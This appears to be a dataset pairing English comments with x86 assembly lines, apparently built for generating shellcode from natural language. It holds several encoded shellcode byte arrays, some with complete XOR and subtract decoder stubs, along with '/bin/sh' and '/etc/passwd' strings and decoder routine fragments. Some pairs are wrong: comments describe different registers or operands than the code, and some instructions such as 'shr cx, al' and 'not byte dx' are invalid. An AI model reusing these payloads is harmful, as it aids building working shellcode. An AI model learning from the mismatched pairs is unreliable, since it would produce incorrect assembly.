shellcode: db 0x18,0x38,0xc7,0x57,0x6f,0x36,0x36,0x7a,0x6f,0x6f,0x36,0x69,0x70,0x75,0x90,0xea,0x38,0xd0,0x90,0xd1,0x71,0x12,0x5f,0xd4,0x87
; shellcode contains the bytes 0x31,0xc0,0x31,0xdb,0x31,0xc9,0x31,0xd2,0xb2,0xa4,0xeb,0x1f,0x5e,0x8d,0x3e,0x8a,0x1c,0x0f,0x88,0xdf,0x88,0xd0,0x30,0xd8,0x74,0x16,0x66,0x8b,0x44,0x0f,0x01,0x66,0x31,0xd8,0x66,0x89,0x07,0x41,0x8d,0x7f,0x02,0xeb,0xe4,0xe8,0xdc,0xff,0xff,0xff,0x7d,0x4c,0xa6,0x09,0xfe,0xea,0xd8,0x8b,0x9b,0x0c,0x5f,0x66,0x30,0x32,0xb9,0x07,0xe6,0xb7,0x0f,0x69,0xc2,0xab,0x2b,0xf0,0x3e,0x60,0x6c,0xea,0x82,0xe8,0x63,0x63,0x72,0x68,0x34,0x02,0xeb,0xfb,0xba,0xef,0xbf,0x66,0xf4,0x15,0x9e,0xbb,0xdd,0xe3,0x73,0xbe,0xf3,0xbb,0x32,0xfa,0xeb,0xef,0x58,0x20,0x24,0x90,0xe3,0x85,0x2e,0x64,0xe4,0x27,0x59,0xe9,0x3f,0xee,0x23,0x6e,0x63,0xf0,0x3a,0x47,0x2d,0x78,0x68,0x30,0xa5,0x66,0xe6,0x2f,0x69,0x10,0x91,0xfa,0x92,0xd5,0x3e,0x11,0x4d,0xf4,0x9c,0x9c,0x16,0x39,0x74,0xa0,0xc9,0xce,0xd2,0x5b,0x31,0x5c,0x0c,0x0f,0xfb,0x72,0x1a,0xb6,0x06,0xbd,0xd1,0x1c,0x51,0xa4
shellcode: db 0x31,0xc0,0x31,0xdb,0x31,0xc9,0x31,0xd2,0xb2,0xa4,0xeb,0x1f,0x5e,0x8d,0x3e,0x8a,0x1c,0x0f,0x88,0xdf,0x88,0xd0,0x30,0xd8,0x74,0x16,0x66,0x8b,0x44,0x0f,0x01,0x66,0x31,0xd8,0x66,0x89,0x07,0x41,0x8d,0x7f,0x02,0xeb,0xe4,0xe8,0xdc,0xff,0xff,0xff,0x7d,0x4c,0xa6,0x09,0xfe,0xea,0xd8,0x8b,0x9b,0x0c,0x5f,0x66,0x30,0x32,0xb9,0x07,0xe6,0xb7,0x0f,0x69,0xc2,0xab,0x2b,0xf0,0x3e,0x60,0x6c,0xea,0x82,0xe8,0x63,0x63,0x72,0x68,0x34,0x02,0xeb,0xfb,0xba,0xef,0xbf,0x66,0xf4,0x15,0x9e,0xbb,0xdd,0xe3,0x73,0xbe,0xf3,0xbb,0x32,0xfa,0xeb,0xef,0x58,0x20,0x24,0x90,0xe3,0x85,0x2e,0x64,0xe4,0x27,0x59,0xe9,0x3f,0xee,0x23,0x6e,0x63,0xf0,0x3a,0x47,0x2d,0x78,0x68,0x30,0xa5,0x66,0xe6,0x2f,0x69,0x10,0x91,0xfa,0x92,0xd5,0x3e,0x11,0x4d,0xf4,0x9c,0x9c,0x16,0x39,0x74,0xa0,0xc9,0xce,0xd2,0x5b,0x31,0x5c,0x0c,0x0f,0xfb,0x72,0x1a,0xb6,0x06,0xbd,0xd1,0x1c,0x51,0xa4
; define the array of bytes shellcode 0x3e, 0xcd, 0x5d, 0x96, 0xef, 0x75, 0x3c, 0x3c, 0x80, 0x75, 0x75, 0x3c, 0x6f, 0x76, 0x7b, 0x96, 0xf0, 0x5d, 0xbd, 0x18, 0xda, 0x8d
shellcode: db 0x3e, 0xcd, 0x5d, 0x96, 0xef, 0x75, 0x3c, 0x3c, 0x80, 0x75, 0x75, 0x3c, 0x6f, 0x76, 0x7b, 0x96, 0xf0, 0x5d, 0xbd, 0x18, 0xda, 0x8d
; define shellcode as an array of bytes and initialize it to 0x4b,0xf7,0x13,0x59,0xcc,0x8c,0x63,0x5e,0x9f,0x8d,0x99,0x9f,0x1f,0xa4,0x3b,0x6e,0xc6,0x36,0x23
shellcode: db 0x4b,0xf7,0x13,0x59,0xcc,0x8c,0x63,0x5e,0x9f,0x8d,0x99,0x9f,0x1f,0xa4,0x3b,0x6e,0xc6,0x36,0x23
; define shellcode as array of bytes 0x62,0x60,0xa0,0x34,0x5e,0x97,0xe6,0x34,0xd0,0x97,0xc4,0xb4,0xdc,0xc4,0xc7,0x28,0x13,0x71,0xa6,0xc4,0xc3,0x58,0x16,0xe6,0x01
shellcode: db 0x62,0x60,0xa0,0x34,0x5e,0x97,0xe6,0x34,0xd0,0x97,0xc4,0xb4,0xdc,0xc4,0xc7,0x28,0x13,0x71,0xa6,0xc4,0xc3,0x58,0x16,0xe6,0x01
; define the shellcode 0xbb,0xec,0x73,0xcc,0x3f,0x9d,0xbb,0x8d,0x51,0xbb,0xb5,0x1b,0xbb,0xb3,0x22,0xbb,0xf2,0x79,0xbb,0xae,0x8e,0xbb,0xb5,0x61,0xbb,0xb5,0x3d,0xbb,0xf2,0x6e,0xbb,0xf2,0x9f,0xbb,0xbf,0x10,0xbb,0xb4,0x89,0xcc,0x76,0x2d,0xcc,0x1c,0x2f,0xbb,0x8d,0x91,0xcc,0x76,0x7e,0xcc,0x1d,0x92,0xbb,0x8e,0x80,0xcc,0x76,0x7b,0xcc,0x1e,0xa7,0xcc,0x4f,0x7f,0xbb,0xd6,0x2b,0xcc,0x32,0x24,0xcc,0x7f,0x37,0xaa
shellcode: db 0xbb,0xec,0x73,0xcc,0x3f,0x9d,0xbb,0x8d,0x51,0xbb,0xb5,0x1b,0xbb,0xb3,0x22,0xbb,0xf2,0x79,0xbb,0xae,0x8e,0xbb,0xb5,0x61,0xbb,0xb5,0x3d,0xbb,0xf2,0x6e,0xbb,0xf2,0x9f,0xbb,0xbf,0x10,0xbb,0xb4,0x89,0xcc,0x76,0x2d,0xcc,0x1c,0x2f,0xbb,0x8d,0x91,0xcc,0x76,0x7e,0xcc,0x1d,0x92,0xbb,0x8e,0x80,0xcc,0x76,0x7b,0xcc,0x1e,0xa7,0xcc,0x4f,0x7f,0xbb,0xd6,0x2b,0xcc,0x32,0x24,0xcc,0x7f,0x37,0xaa
; shellcode is array of bytes 0xbb,0xec,0x73,0xcc,0x3f,0x9d,0xbb,0x8d,0x51,0xbb,0xb5,0x1b,0xbb,0xb3,0x22,0xbb,0xf2,0x79,0xbb,0xae,0x8e,0xbb,0xb5,0x61,0xbb,0xb5,0x3d,0xbb,0xf2,0x6e,0xbb,0xf2,0x9f,0xbb,0xbf,0x10,0xbb,0xb4,0x89,0xcc,0x76,0x2d,0xcc,0x1c,0x2f,0xbb,0x8d,0x91,0xcc,0x76,0x7e,0xcc,0x1d,0x92,0xbb,0x8e,0x80,0xcc,0x76,0x7b,0xcc,0x1e,0xa7,0xcc,0x4f,0x7f,0xbb,0xd6,0x2b,0xcc,0x32,0x24,0xcc,0x7f,0x37,0xaa
shellcode: db 0xbb,0xec,0x73,0xcc,0x3f,0x9d,0xbb,0x8d,0x51,0xbb,0xb5,0x1b,0xbb,0xb3,0x22,0xbb,0xf2,0x79,0xbb,0xae,0x8e,0xbb,0xb5,0x61,0xbb,0xb5,0x3d,0xbb,0xf2,0x6e,0xbb,0xf2,0x9f,0xbb,0xbf,0x10,0xbb,0xb4,0x89,0xcc,0x76,0x2d,0xcc,0x1c,0x2f,0xbb,0x8d,0x91,0xcc,0x76,0x7e,0xcc,0x1d,0x92,0xbb,0x8e,0x80,0xcc,0x76,0x7b,0xcc,0x1e,0xa7,0xcc,0x4f,0x7f,0xbb,0xd6,0x2b,0xcc,0x32,0x24,0xcc,0x7f,0x37,0xaa
; shellcode is an array of bytes 0xc6,0x02,0x80,0x01,0x81,0x03,0xd1,0x01,0xbe,0x02,0x5f,0x01,0x98,0x03,0x1c,0x06,0x60,0x08,0xf6,0x04,0xc5,0x01,0x92,0x04,0x30,0x07,0x64,0x06,0x3a,0x04,0x58,0x08,0x4f,0x03,0x59,0x05,0xd2,0x06,0x81,0x08,0x1a,0x04,0x5f,0x07,0x03,0x08,0xd8,0x04,0x0c,0x04, 0xbb, 0xbb
shellcode: db 0xc6,0x02,0x80,0x01,0x81,0x03,0xd1,0x01,0xbe,0x02,0x5f,0x01,0x98,0x03,0x1c,0x06,0x60,0x08,0xf6,0x04,0xc5,0x01,0x92,0x04,0x30,0x07,0x64,0x06,0x3a,0x04,0x58,0x08,0x4f,0x03,0x59,0x05,0xd2,0x06,0x81,0x08,0x1a,0x04,0x5f,0x07,0x03,0x08,0xd8,0x04,0x0c,0x04, 0xbb, 0xbb
; define the array of bytes shellcode and initialize it to 0xeb,0x0d,0x5e,0x31,0xc9,0xb1,0x19,0x80,0x36,0xaa,0x46,0xe2,0xfa,0xeb,0x05,0xe8,0xee,0xff,0xff,0xff,0x9b,0x6a,0xfa,0xc2,0x85,0x85,0xd9,0xc2,0xc2,0x85,0xc8,0xc3,0xc4,0x23,0x49,0xfa,0x23,0x48,0xf9,0x23,0x4b,0x1a,0xa1,0x67,0x2a
shellcode: db 0xeb,0x0d,0x5e,0x31,0xc9,0xb1,0x19,0x80,0x36,0xaa,0x46,0xe2,0xfa,0xeb,0x05,0xe8,0xee,0xff,0xff,0xff,0x9b,0x6a,0xfa,0xc2,0x85,0x85,0xd9,0xc2,0xc2,0x85,0xc8,0xc3,0xc4,0x23,0x49,0xfa,0x23,0x48,0xf9,0x23,0x4b,0x1a,0xa1,0x67,0x2a
; define shellcode as array of the bytes 0xf1,0x31,0x90,0x38,0x47,0x47,0x5c,0x1b,0x1b,0x47,0x4d,0x0b,0x07,0xe7,0x6a,0xb3,0xd9,0x6b,0xb1,0xda,0x68,0x51,0xbb,0xc6,0x4d
shellcode: db 0xf1,0x31,0x90,0x38,0x47,0x47,0x5c,0x1b,0x1b,0x47,0x4d,0x0b,0x07,0xe7,0x6a,0xb3,0xd9,0x6b,0xb1,0xda,0x68,0x51,0xbb,0xc6,0x4d
; define shellcodelen equal to the length of shellcode
shellcodelen equ $-shellcode
; define shellcodelen equal to the length shellcode
shellcodelen equ $-shellcode
; declare the shift_decode label
shift_decode:
; define shift_decode label
shift_decode:
; define shift_decode routine
shift_decode:
; left shift the contents of al by 4 bit positions
shl al, 4
; left shift cx
shl cx, 1
; multiply eax by 2 using left shift
shl eax, 1
; multiply the value of eax by 2
shl eax, 1
; left shift the contents of eax 16 bits
shl eax, 16
; multiply eax by 4 using left shift
shl eax, 2
; left shift the contents of eax register by 28 bit positions
shl eax, 28
; shift left 28 bits of eax
shl eax, 28
; shift left the eax register by 28 bits
shl eax, 28
; left shift the contents of eax by 5 bit positions
shl eax, 5
; left shift eax by two bits
shl eax,2
; multiply ebx by 2 using left shift
shl ebx, 1
; multiply ebx by 4 using left shift
shl ebx, 2
; left shift the contents of ebx by 8 bits
shl ebx, 8
; multiply ecx by 2 using left shift
shl ecx, 1
; multiply ecx by 4 using left shift
shl ecx, 2
; left shift the contents of the edi register by 0x1 bit
shl edi, 0x1
; shift left edi register bits 1 time with zeroes shifted in on right
shl edi,0x1
; multiply edx by 2 using left shift
shl edx, 1
; multiply edx by 4 using left shift
shl edx, 2
; shift left edx register bits 24 time with zeroes shifted in on right
shl edx, 24
; left shift the contents of the edx register by 24 bits
shl edx, 24
; left shift the contents of edx register by 9 bit positions
shl edx, 9
; left shift the contents of the edx register by 9 bits
shl edx, 9
; left shift the contents of the esi register by 0x1 bit
shl esi, 0x1
; shift left esi register bits 1 time with zeroes shifted in on right
shl esi,0x1
; right shift by 3 bit positions the contents of var variable
shr [var], 3
; shift encoded_shellcode to right by one bit, one word at a time
shr ax, 1
; right shift ax by 1 bit
shr ax, 1
; shift the ax register to right by one bit
shr ax, 1
; shift right ax by the contents of bl and negate the word in ax
shr ax, bl
not word ax
; moves the bits of ax to the right by a number equal to the content of cl
shr ax, cl
; right shift the contents of the edi register by the contents of the cl register
shr ax, cl
; shift right ax by the contents of cl and negate the word in ax
shr ax, cl
not word ax
; right shift the contents of bl register by 4 bit positions
shr bl, 4
; right shift the contents of bl by 4
shr bl, 4
; right shift by 4 bits bl
shr bl,4
; shift right bx by the contents of cl and negate the contents of bx
shr bx, cl
not bx
; shift right bx by the contents of dl and negate the byte in bx
shr bx, dl
not byte bl
; shift right cx by the contents of al and negate the contents of cx
shr cx, al
not cx
; right shift the contents of the dl register by 1 bit
shr dl, 1
; right shift the contents of dl register by 1 bit positions
shr dl, 1
; shift right dl by 1
shr dl, 1
; right shift the contents of dl register by 4 bit positions
shr dl, 4
; shift right the dl register by 4 bits
shr dl, 4
; shift right dx by the contents of bl and negate the byte in dx
shr dx, bl
not byte dx
; shift right all bits of eax 0x10 times
shr eax, 0x10
; shift right all bits of eax 0x8 times
shr eax, 0x8
; divide eax by 2 using right shift
shr eax, 1
; right shift the contents of eax register by 16 bit positions
shr eax, 16
; divide eax by 4 using right shift
shr eax, 2
; right shift the contents of the eax register by 24 bit positions
shr eax, 24
; shift right 24 of eax
shr eax, 24
; right shift the contents of eax register by 28 bit positions
shr eax, 28
; shift right 28 of eax
shr eax, 28
; shift right all bits of ecx 0x8 times
shr ebx, 0x8
; divide ebx by 2 using right shift
shr ebx, 1
; divide ebx by 4 using right shift
shr ebx, 2
; right shift the contents of the ebx register by the contents of the cl register
shr ebx, cl
; shift right all bits of ecx 0x10 times
shr ecx, 0x10
; divide ecx by 2 using right shift
shr ecx, 1
; divide ecx by 4 using right shift
shr ecx, 2
; divide edx by 2 using right shift
shr edx, 1
; right shift the contents of the edx register by 16
shr edx, 16
; do the logical shift to the right of the edx bits for 16 times the increase them of 1
shr edx, 16
inc edx
; divide edx by 4 using right shift
shr edx, 2
; right shift the contents of the edx register by the byte 16
shr edx, byte 16
; right shift the contents of the edx register by the byte 24
shr edx, byte 24
; define size to be 1024 bytes large
size: equ 1024
; declare a constant size and set equal to 50000
size: equ 50000
; declare _stage label
stage:
; define _ stage label
stage:
; declare the stage label
stage:
; define stage label
stage:
; define stage and call decoder function
stage:
call decoder
; define _stageaddress label
stageaddress:
; declare the stageaddress label
stageaddress:
; declare the start label
start:
; set carry flag
stc
; stores al register content to location at edi
stos byte ptr es:[edi],al
; declare 6 bytes starting at the address str initialized to the ascii character values for hello and the null byte
str db 'hello',0
; declare 4 bytes starting at the address str initialized to the ascii character values for the string 'hey' and 0 respectively
str db 'hey',0
; define string as the byte string 'test.txt'
string db 'test.txt'
; define string as the byte string '/bin/sh'
string: db '/bin/sh'
; define string as the byte string '/etc/passwd'
string: db '/etc/passwd'
; define string as the byte string 'file.txt'
string: db 'file.txt'
; define string as the byte string 'file1.txt'
string: db 'file1.txt'
; define string as the byte string 'prova.txt'
string: db 'prova.txt'
; define string as the byte string 'tmp.txt'
string: db 'tmp.txt'
; subtract the contents of esi from the 32-bit integer stored at memory location var
sub [var], esi
; subtract the contents of esi from the 32-bit integer stored at memory location var2
sub [var2], esi
; subtract 0x13 from the al register
sub al, 0x13
; subtract 0x41 from the al register
sub al, 0x41
; subtract the value 1 from the contents of the al register and jump to the l1 label if the result is not negative
sub al, 1
jns l1
; subtract the value 1 from the contents of the al register and jump to the l1 label if the result is not zero
sub al, 1
jnz l1
; subtract 88 from the contents of al register and save the result in al
sub al, 88
; subtract 88 from the contents of the al register
sub al, 88
; subtract ah from al
sub al, ah
; subtract hexadecimal value 0x54 to al register
sub al,0x54
; substract 13 from encoded_shellcode, one word at a time
sub ax, 13
; subtract 13 from ax and save the result into ax
sub ax, 13
; subtract 13 from the ax register
sub ax, 13
; subtract 1564 from ax and save the result into ax
sub ax, 1564
; subtract 1564 from the contents of ax register and save the result in ax
sub ax, 1564
; subtract 1564 from the contents of the ax register
sub ax, 1564
; subtract 1662 from ax and save the result into ax
sub ax, 1662
; subtract 1662 from the contents of ax register and save the result in ax
sub ax, 1662
; subtract the contents of the ax register by 1662
sub ax, 1662
; subtract the contents of ax from the contents of ax
sub ax, ax
; subtract 0x7 to bl
sub bl, 0x7
; subtract 0x7 from bl and save the result into bl
sub bl, 0x7
; subtract 0x7 from the contents in bl and save the result in bl
sub bl, 0x7
; subtract 3 from the contents of the bl register
sub bl, 3
; subtract the value 3 from the contents of the bl register and jump to the stage label if the result is not zero
sub bl, 3
jnz stage
; subtract the value 4 from the contents of the bl register and jump to the l2 label if the result is not negative
sub bl, 4
jns l2
; subtract the decimal value 48 from the nl register
sub bl, 48
; subtract the contents of al register from the contents of bl register and save the result in bl
sub bl, al
; subtract the contents of al from the bl register
sub bl, al
; subtract 0x7 from the byte in esi register
sub bl, byte [esi]
; subtract the current byte of the shellcode from bl
sub bl, byte [esi]
; subtract the contents of the cl register from the contents of the al register and jump to the l2 label if the result is not zero
sub bl, cl
jnz l2
; subtract 3 from bl register and go to _stage label if flag zero is not set
sub bl,3
jnz stage
; subtract the byte in esi from the bl register
sub bl,byte [esi]
; subtract 1634 from bx and save the result into bx
sub bx, 1634
; subtract 1634 from the contents of bx register and save the result in bx
sub bx, 1634
; subtract 1634 from the contents of the bx register
sub bx, 1634